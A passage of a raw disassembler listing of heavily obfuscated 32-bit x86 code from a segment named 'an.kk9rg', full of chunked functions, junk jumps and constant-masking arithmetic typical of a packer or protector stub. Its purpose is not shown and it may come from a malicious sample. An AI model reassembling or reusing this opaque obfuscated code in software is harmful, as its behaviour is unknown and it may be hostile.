FOR sub_1001BC80 ; --------------------------------------------------------------------------- loc_10018415: ; CODE XREF: an.kk9rg:1001C3A9j jnz loc_100165F5 jmp loc_10018C3B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_10018420: ; CODE XREF: sub_10015B5D:loc_1001C675j jz loc_1001AA3D push ebp mov eax, [ebp-20h] call sub_1001B2E2 loc_1001842F: ; CODE XREF: sub_1001898D+9j mov edi, ecx pop ecx mov eax, ds:dword_1001D740 or eax, eax jnz loc_10016313 jmp loc_1001CC02 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- loc_10018445: ; DATA XREF: sub_10014C0D+1347o mov esp, ebp pop ebp push offset sub_10014CDF jmp loc_1001D6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10018452: ; CODE XREF: sub_10018066:loc_10015EF7j push offset loc_1001AD71 jmp nullsub_151 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001845C: ; CODE XREF: sub_1001A97E:loc_10019B75j add edx, ebp add edx, 6379C6FAh mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h loc_1001846A: ; CODE XREF: sub_10017EFB:loc_10014C32j jz loc_1001D684 jmp loc_10019639 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D43B loc_10018476: ; CODE XREF: sub_1001AAAA+9j jmp loc_1001355B ; END OF FUNCTION CHUNK FOR sub_1001D43B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_1001847B: ; CODE XREF: sub_1001767A+Ej jmp loc_100170F1 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10018480: ; CODE XREF: sub_10016D66+1937j jl loc_1001A0B9 and ecx, edx jmp loc_10018DD3 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D6A6 loc_1001848E: ; CODE XREF: sub_1001D6A6+18j jmp nullsub_166 ; END OF FUNCTION CHUNK FOR sub_1001D6A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ACEF loc_10018493: ; CODE XREF: sub_1001ACEF+Cj jmp loc_10017DE3 ; END OF FUNCTION CHUNK FOR sub_1001ACEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_10018498: ; CODE XREF: sub_10019E2E-6BBFj jmp loc_1001816E ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- loc_1001849D: ; DATA XREF: sub_10018E79-723o imul byte ptr [edx] push offset loc_1001D580 jmp loc_10014DC3 ; =============== S U B R O U T I N E ======================================= sub_100184A9 proc near ; CODE XREF: an.kk9rg:10015FAFj ; an.kk9rg:1001AFEFp xchg ebx, [esp+0] pop ebx add edx, 0AC8E071Eh push ecx push 6EDF9192h pop ecx and ecx, 52DCE8A3h add ecx, 0CD25469Ch jmp loc_10013952 sub_100184A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100184CB: ; CODE XREF: sub_10013389+9EC3j jnz loc_1001D35C loc_100184D1: ; CODE XREF: sub_10013389+65B0j jmp nullsub_48 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100184D6: ; CODE XREF: an.kk9rg:loc_1001C2F3j add edx, ecx jmp loc_1001D358 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_100184DD: ; CODE XREF: sub_10018E79:loc_10017AC2j test eax, 3AB41153h jmp loc_1001B565 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- test ebp, 17DA80D8h jmp loc_100189D1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_100184F4: ; CODE XREF: sub_100130C7:loc_100161D7j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_1001774E loc_10018500: ; CODE XREF: an.kk9rg:10016CD4j mov eax, [ebp-8] shl eax, 3 jmp loc_10019720 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001850B: ; CODE XREF: sub_10015066+3AD4j and esi, edx loc_1001850D: ; CODE XREF: sub_10015066:loc_10018B2Cj xor eax, 0AE45DA80h jns loc_1001580D ; END OF FUNCTION CHUNK FOR sub_10015066 ; START OF FUNCTION CHUNK FOR sub_1001620D loc_10018519: ; CODE XREF: sub_1001620D+5EC9j jmp nullsub_88 ; END OF FUNCTION CHUNK FOR sub_1001620D ; --------------------------------------------------------------------------- rol eax, 11h xchg esi, eax add esi, 1B02E10Eh jmp loc_1001580D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001852E: ; CODE XREF: sub_10018066:loc_100198A7j add eax, edi pop edi pushf push edi push 0B836DD63h sbb edi, ebx jmp loc_1001CAC7 ; END OF FUNCTION CHUNK FOR sub_10018066 ; =============== S U B R O U T I N E ======================================= sub_1001853F proc near ; DATA XREF: sub_100193F2+2056o ; FUNCTION CHUNK AT 10017E81 SIZE 00000009 BYTES jnz loc_10017338 mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jnz loc_100139BC jmp loc_10017E81 sub_1001853F endp ; --------------------------------------------------------------------------- loc_10018556: ; CODE XREF: an.kk9rg:loc_100132ECj pop eax rol eax, 9 and eax, ds:100000C8h jnz loc_100153CA ; START OF FUNCTION CHUNK FOR sub_1001DCDB loc_10018566: ; CODE XREF: sub_1001DCDB+6j jmp nullsub_171 ; END OF FUNCTION CHUNK FOR sub_1001DCDB ; --------------------------------------------------------------------------- js loc_1001884C cmp ecx, edi jmp loc_1001705C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10018578: ; CODE XREF: sub_1001C2D8:loc_1001BACEj jz loc_1001ABF0 jmp loc_10018656 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_10018583: ; CODE XREF: sub_10017394+728j sub esi, 7AC954FEh loc_10018589: ; CODE XREF: sub_10017394+717j add edx, 0EE315D8h xor edx, 0F5EEC9C8h sub edx, 0FA86D865h jns loc_1001DE14 adc edx, eax jmp loc_1001503C ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_100185A8: ; CODE XREF: an.kk9rg:100195C7j jns loc_1001CF9C push edx mov ebp, edx popf jmp loc_10016EFF ; --------------------------------------------------------------------------- sbb ebp, ecx jmp loc_1001C2D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_100185BE: ; CODE XREF: sub_1001C2D8+Ej jnz loc_10015E6E jmp loc_10014595 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100190DC loc_100185C9: ; CODE XREF: sub_100190DC+226j jz loc_1001468E jmp loc_1001CF9C ; END OF FUNCTION CHUNK FOR sub_100190DC ; =============== S U B R O U T I N E ======================================= sub_100185D4 proc near ; CODE XREF: sub_1001C185:loc_1001B11Aj ; FUNCTION CHUNK AT 1001629E SIZE 0000000F BYTES push ebp or esi, edi jmp loc_1001629E sub_100185D4 endp ; --------------------------------------------------------------------------- dword_100185DC dd 0FF197C8h ; sub_100159A8+7w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_100185E0: ; CODE XREF: sub_10018FE5+9j jmp loc_10015EAD ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001474E loc_100185E5: ; CODE XREF: sub_1001474E+5j jmp loc_1001A1CE ; END OF FUNCTION CHUNK FOR sub_1001474E ; --------------------------------------------------------------------------- dw 0FB5Fh dword_100185EC dd 6BE407E9h ; sub_10014E66+Ar ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019FDC loc_100185F0: ; CODE XREF: sub_10019FDC+19j jmp loc_100187C3 ; END OF FUNCTION CHUNK FOR sub_10019FDC ; --------------------------------------------------------------------------- db 0B2h, 0EEh, 8Eh dword_100185F8 dd 0B9D17C80h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100185FC: ; CODE XREF: sub_10013389+A3DEj jmp loc_1001735F ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AA64 loc_10018601: ; CODE XREF: sub_1001AA64+Bj jmp nullsub_62 ; END OF FUNCTION CHUNK FOR sub_1001AA64 ; --------------------------------------------------------------------------- dw 0BED3h dword_10018608 dd 0 ; sub_1001A54C:loc_10017ECAr ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019473 loc_1001860C: ; CODE XREF: sub_10019473+44D9j jmp loc_1001A9EA ; END OF FUNCTION CHUNK FOR sub_10019473 ; --------------------------------------------------------------------------- db 8Dh, 0E7h, 0ADh dword_10018614 dd 0 ; sub_10016451+3r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B9C1 loc_10018618: ; CODE XREF: sub_1001B9C1+Fj jmp loc_1001D4B2 ; END OF FUNCTION CHUNK FOR sub_1001B9C1 ; --------------------------------------------------------------------------- loc_1001861D: ; CODE XREF: an.kk9rg:1001C90Cj jnz loc_10016521 jmp loc_1001C1F4 ; =============== S U B R O U T I N E ======================================= sub_10018628 proc near ; CODE XREF: an.kk9rg:loc_10014083p ; an.kk9rg:10014623j arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10014E08 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015348 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi add eax, [esp-4+arg_0] adc edx, [esp-4+arg_4] add esp, 8 mov eax, [eax] add eax, [ebp-4] jmp loc_10015348 sub_10018628 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10018640: ; CODE XREF: an.kk9rg:10015AEDj add eax, 489A73BEh mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_100169A6 jmp loc_100196F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10018656: ; CODE XREF: sub_1001C2D8-3D5Aj sub edi, 0E0C4F4C1h shl edx, 0Dh jmp loc_1001ABF0 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10018664: ; CODE XREF: sub_10016167:loc_100146E3j jnz loc_10019D58 jmp loc_10016070 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001866F: ; CODE XREF: sub_10015988+1A89j pop esi shl eax, 1Bh loc_10018673: ; CODE XREF: sub_10015988:loc_1001D1D0j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10019C7F jmp loc_1001B8FE ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- or eax, 0D7327A58h jmp loc_10014988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001868F: ; CODE XREF: sub_10016D66-2659j jno loc_1001B4AC jle loc_100132C5 cmp eax, ebp jmp loc_10018480 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_100186A2: ; CODE XREF: sub_10016451+502j jbe loc_10014616 loc_100186A8: ; CODE XREF: sub_10016451:loc_10017FCAj call sub_100180C2 push 7F76D62Ch pop edx rol edx, 2 loc_100186B6: ; CODE XREF: an.kk9rg:10016287j add edx, 7F5DBDBBh xor edx, 0AA4500FAh add edx, 37F9B3DAh ; END OF FUNCTION CHUNK FOR sub_10016451 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100186C8: ; CODE XREF: sub_10013389:loc_100165C9j jmp loc_10017FAD ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100186CD: ; CODE XREF: sub_10015086+1255j add [ebp-8], eax call sub_10015DDC ; END OF FUNCTION CHUNK FOR sub_10015086 ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100186D5: ; CODE XREF: sub_10019409+15j jmp loc_10015ED0 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_100186DA: ; CODE XREF: sub_10015C77-13F7j jmp loc_1001A202 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; =============== S U B R O U T I N E ======================================= sub_100186DF proc near ; DATA XREF: sub_1001D50B:loc_1001361Eo ; FUNCTION CHUNK AT 1001720C SIZE 00000005 BYTES add esi, 65E96EF3h xchg esi, [esp+0] jmp loc_1001720C sub_100186DF endp ; --------------------------------------------------------------------------- loc_100186ED: ; CODE XREF: an.kk9rg:10016BD2j jbe loc_10015FCE mov [eax], ebp ror edi, 1Dh loc_100186F8: ; CODE XREF: an.kk9rg:loc_1001B10Fj add ecx, 0A021F916h xchg ecx, [esp] jmp sub_10019A95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_10018706: ; CODE XREF: sub_10017A58:loc_100181DCj jnz loc_10018849 jmp loc_1001AA7A ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_10018711: ; CODE XREF: sub_10015BFC+1DFEj ; sub_10015066+3ACEj jb loc_1001349B loc_10018717: ; CODE XREF: sub_10015BFC:loc_1001A4FBj push edx push 0D83BD849h pop edx and edx, 36A9C15Bh test edx, 1000000h jmp loc_1001CB88 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- cmp ecx, 0DE706844h jmp loc_1001631B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001873A: ; CODE XREF: sub_100180C2:loc_10019CE9j or edx, 7D093E52h and edx, 1596DE5Dh test edx, 10000000h jmp loc_10016E27 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_10018751: ; CODE XREF: sub_10018E79+4j sub al, 99h mov edx, [ebp-4] push offset loc_1001849D jmp nullsub_36 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_10018760: ; CODE XREF: sub_10015C77+19j jnz loc_10016491 jmp loc_1001983D ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001876B: ; CODE XREF: sub_10016D66+2079j jz loc_1001C4A4 jmp loc_1001B104 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_10018776 proc near ; CODE XREF: an.kk9rg:loc_1001705Cj ; an.kk9rg:1001AC6Ej ... xchg ecx, [esp+0] pop ecx push ebp mov ebp, esp call sub_1001DAA8 loc_10018782: ; CODE XREF: an.kk9rg:10017793j jmp loc_1001346C sub_10018776 endp ; --------------------------------------------------------------------------- loc_10018787: ; CODE XREF: an.kk9rg:loc_10019A18j popf push 2863962h jmp loc_100161F4 ; --------------------------------------------------------------------------- loc_10018792: ; CODE XREF: an.kk9rg:1001D1FCj js loc_1001557C ; =============== S U B R O U T I N E ======================================= sub_10018798 proc near ; CODE XREF: sub_1001504E+9p ; FUNCTION CHUNK AT 10016635 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001771D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001939E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C5B9 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax imul byte ptr [edx] cmp al, 0A4h jz loc_10014345 jmp loc_1001771D sub_10018798 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015276 loc_100187AC: ; CODE XREF: sub_10015276+891Ej jmp loc_10019958 ; END OF FUNCTION CHUNK FOR sub_10015276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DB5F loc_100187B1: ; CODE XREF: sub_1001DB5F+Aj jmp loc_10015905 ; END OF FUNCTION CHUNK FOR sub_1001DB5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_100187B6: ; CODE XREF: sub_1001BB72+Aj jmp loc_1001744F ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- loc_100187BB: ; DATA XREF: sub_1001C799-7F3Eo xchg edi, [esp] jmp sub_100181E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019FDC loc_100187C3: ; CODE XREF: sub_10019FDC:loc_100185F0j add eax, ebp add eax, 578996F9h mov eax, [eax] push ebx mov ebx, eax xchg ebx, [esp+4+var_4] jmp loc_100139C7 ; END OF FUNCTION CHUNK FOR sub_10019FDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_100187D8: ; CODE XREF: sub_1001A97E-47ACj test edx, ebx jmp loc_1001D4BC ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100187DF: ; CODE XREF: sub_10013389:loc_1001349Bj shr edx, 0Ch sub edx, ecx jmp loc_1001C699 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push 9EF76119h pop edx rol edx, 0Eh add edx, 0F6F694CCh xor edx, 3D846690h jmp loc_1001B78A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10018803: ; CODE XREF: sub_1001B5A3:loc_1001B5B6j or eax, eax jnz loc_1001B2BF jmp loc_1001420B ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10018810: ; CODE XREF: sub_1001C28F:loc_1001D494j sub ebx, 0CC5BF436h add ebx, 0CC1E7910h xchg ebx, [esp+0] push eax jmp loc_10018D15 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- xchg ebp, [esp] ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10018828: ; CODE XREF: sub_100142E8+63FCj mov edx, ebp pop ebp call sub_10017217 loc_10018830: ; CODE XREF: sub_10018CA1+44EAj call sub_1001B935 loc_10018835: ; CODE XREF: sub_10015B5D-29ECj jmp loc_1001ABBF ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001883A: ; CODE XREF: sub_10017A58-2776j jnp loc_100130A8 pop edx pushf cdq jnz loc_100157F8 loc_10018849: ; CODE XREF: sub_10017A58:loc_10018706j mov eax, [ebp-4] loc_1001884C: ; CODE XREF: an.kk9rg:1001856Bj jmp loc_1001D5D7 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10018851: ; CODE XREF: sub_100136D7+8113j ; an.kk9rg:1001BC0Fj jnz loc_10017F65 jmp loc_10016294 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014317 loc_1001885C: ; CODE XREF: sub_10014317+1j push ecx loc_1001885D: ; CODE XREF: an.kk9rg:10017527j call sub_1001D37F mov esp, [esp+4+arg_0] loc_10018866: ; CODE XREF: sub_10017A34+2j ; sub_10017A34+Ej ... call sub_10018D62 ; END OF FUNCTION CHUNK FOR sub_10014317 ; =============== S U B R O U T I N E ======================================= sub_1001886B proc near ; CODE XREF: an.kk9rg:100197F9p ; an.kk9rg:1001DCB3j xchg ebx, [esp+0] pop ebx push 0 push edi push 60035148h jmp loc_1001B4B4 sub_1001886B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001603C loc_1001887C: ; CODE XREF: sub_1001603C+Fj or eax, 78EF5364h sub eax, 0DFC71961h xor eax, 46D6A07Ah push ebx push 279C0835h pop ebx jmp loc_100159B6 ; END OF FUNCTION CHUNK FOR sub_1001603C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_1001889A: ; CODE XREF: sub_10015C14:loc_1001AD50j push ecx call sub_10016D66 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; =============== S U B R O U T I N E ======================================= sub_100188A0 proc near ; CODE XREF: an.kk9rg:loc_10014403p ; an.kk9rg:loc_1001585Bj ... arg_0 = dword ptr 4 xchg eax, [esp+0] mov edx, eax pop eax js loc_1001CF37 mov eax, [esp-4+arg_0] push edx call sub_10014DD9 jmp loc_10018269 sub_100188A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_100188BA: ; CODE XREF: sub_100142E8-BB0j push esi pop ebp loc_100188BC: ; CODE XREF: an.kk9rg:loc_100144D5j pop esi retn ; END OF FUNCTION CHUNK FOR sub_100142E8 ; =============== S U B R O U T I N E ======================================= sub_100188BE proc near ; CODE XREF: sub_1001725E+B0Dp ; sub_1001725E:loc_10018A46p push eax mov eax, ebp call sub_1001C185 loc_100188C6: ; CODE XREF: sub_1001A024-915j jmp nullsub_31 sub_100188BE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_100188CB: ; CODE XREF: sub_1001ABFD:loc_10019367j jmp loc_1001CBCF ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_100188D0: ; CODE XREF: sub_10019571-1903j jmp loc_1001972A ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_100188D5: ; CODE XREF: sub_10015086-1514j jmp loc_10018086 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_100188DA: ; CODE XREF: sub_100193F2+2F43j popf jmp loc_1001CAE7 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_100188E0: ; CODE XREF: sub_1001BB72-5FB7j sub al, 99h push 0C87DC4Dh pop edx jmp loc_1001CDB8 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- loc_100188ED: ; CODE XREF: an.kk9rg:100177FAj cdq ; =============== S U B R O U T I N E ======================================= sub_100188EE proc near ; CODE XREF: sub_1001C2A9:loc_1001B178p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10014222 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10014413 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100146A1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001678E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10017850 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10018B0F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018FF3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10019609 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A506 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 1001A909 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001B498 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C2C4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001CAE1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001D2CA SIZE 0000000B BYTES xchg esi, [esp+0] pop esi cmp dword ptr [eax+3Ch], 0 jz loc_1001B00C jmp loc_1001678E sub_100188EE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10018901 proc near ; DATA XREF: sub_10013389+817Do ; FUNCTION CHUNK AT 100166A4 SIZE 00000005 BYTES cmp byte ptr [eax], 0 jnz loc_10013573 mov eax, [ebp-8] mov byte ptr [eax], 0 loc_10018910: ; CODE XREF: sub_1001C758:loc_10019C2Ej jmp loc_100166A4 sub_10018901 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10018915: ; CODE XREF: sub_100193F2:loc_1001CA86j jmp loc_10015BC1 ; --------------------------------------------------------------------------- loc_1001891A: ; CODE XREF: sub_100193F2+340Dj ; sub_100193F2+341Bj jb loc_1001A1C6 mov eax, [ebp-4] call sub_1001B9C1 test al, al call sub_1001679F loc_1001892F: ; CODE XREF: sub_1001D37F+2FAj jmp loc_10014AF4 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100174F4 loc_10018934: ; CODE XREF: sub_100174F4+2EC5j jmp sub_100180C2 ; END OF FUNCTION CHUNK FOR sub_100174F4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_1001893A: ; CODE XREF: sub_10016451+1B7Fj jmp loc_1001694A ; END OF FUNCTION CHUNK FOR sub_10016451 ; =============== S U B R O U T I N E ======================================= sub_1001893F proc near ; CODE XREF: an.kk9rg:1001613Dp ; an.kk9rg:1001DD10j ; FUNCTION CHUNK AT 10013614 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013AF7 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 100156A4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015A02 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 10016979 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016BE8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10016D34 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10017118 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001757E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017C7F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017CC8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10019041 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001917C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10019E43 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A498 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001AB7A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001BAA8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001C6E7 SIZE 00000011 BYTES xchg edx, [esp+0] pop edx jo loc_10016BE8 sub al, 99h push 0E942B8A0h pop edx rol edx, 6 or edx, 85BF8B0Bh jmp loc_1001C6E7 sub_1001893F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001895F: ; CODE XREF: an.kk9rg:1001D2B5j add edx, 6B6283D8h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_100165C9 jmp loc_1001CEFE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10018977: ; CODE XREF: sub_100193F2-116Cj jmp loc_10014B92 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_1001897C: ; CODE XREF: an.kk9rg:loc_1001C5F9j jnz loc_10016FFC jmp loc_1001CE2A ; --------------------------------------------------------------------------- loc_10018987: ; CODE XREF: an.kk9rg:10015F7Aj jz loc_1001514F ; =============== S U B R O U T I N E ======================================= sub_1001898D proc near ; CODE XREF: an.kk9rg:1001756Ap arg_0 = dword ptr 4 xchg ecx, [esp+0] pop ecx push edi pop ebp xchg ecx, [esp-4+arg_0] jmp loc_1001842F sub_1001898D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001899B: ; CODE XREF: an.kk9rg:loc_1001821Fj ; an.kk9rg:10018231j add esi, 0FE04F0AEh push offset loc_10014CAB jmp loc_1001C82B ; --------------------------------------------------------------------------- loc_100189AB: ; CODE XREF: an.kk9rg:1001B829j mov [ebp+0], edx or ecx, 35F4C5A9h jmp loc_10019DF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100189B9: ; CODE XREF: sub_10013389+4F4Aj call sub_1001DECE mov ds:dword_10019664, eax loc_100189C3: ; CODE XREF: sub_100182A3+14j ; sub_10013389+684Fj ... mov esp, ebp 